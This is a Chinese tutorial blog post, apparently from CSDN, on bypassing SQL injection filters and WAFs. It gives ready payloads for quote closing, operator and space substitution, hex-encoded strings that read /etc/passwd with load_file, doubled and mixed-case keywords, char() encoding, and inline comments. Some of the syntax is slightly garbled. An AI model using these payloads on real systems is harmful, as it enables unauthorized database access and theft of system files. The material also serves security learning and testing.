sql注入(8), 常见注入绕过技巧

注入绕过技巧

一, 闭合与逻辑

作用:

  1. 绕过后端对 or 或 and 的禁用
  2. 绕过后端对空格的禁用

例如:
用 ||, && 代替 or, and
用括号代替空格

payload: 1’ or ‘1’='1
闭合: id=‘1’ or ‘1’=‘1’

payload: 1’ || ‘1’='1
闭合: id=‘1’ || ‘1’=‘1’

where id<10&&content like ‘%作者%’
select(username)from(user)

二, 十六进制字符串绕过引号转义

作用:
绕过后端对字符串中单引号的屏蔽.

例如:
select hex(‘/etc/passwd’) # 输出: 2F6574632F706173737764
select load_file(0x2F6574632F706173737764)

select hex(‘learn’) # 输出: 6C6561726E
select groupconcat(table_name) from information.tables where table_schema=0x6C6561726E

三, WAF 绕过

1. 双写绕过

作用:
绕过后端对 select, and, or 等关键字的过滤, 比如替换关键字为空.

例如:
selselectect 替换后: select
anandd 替换后: and

2. 大小写绕过

例如:
SelecT, AnD, Or

3. 编码绕过

Base64, ASCII, 16进制

例如:
select char(49)
结果: 1

select concat( char(45), char(50), char(65) )
结果: 12A

4. 特殊字符绕过

内连注释:
select username from /!user/
select username from /!user/ /!union/ select 77

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值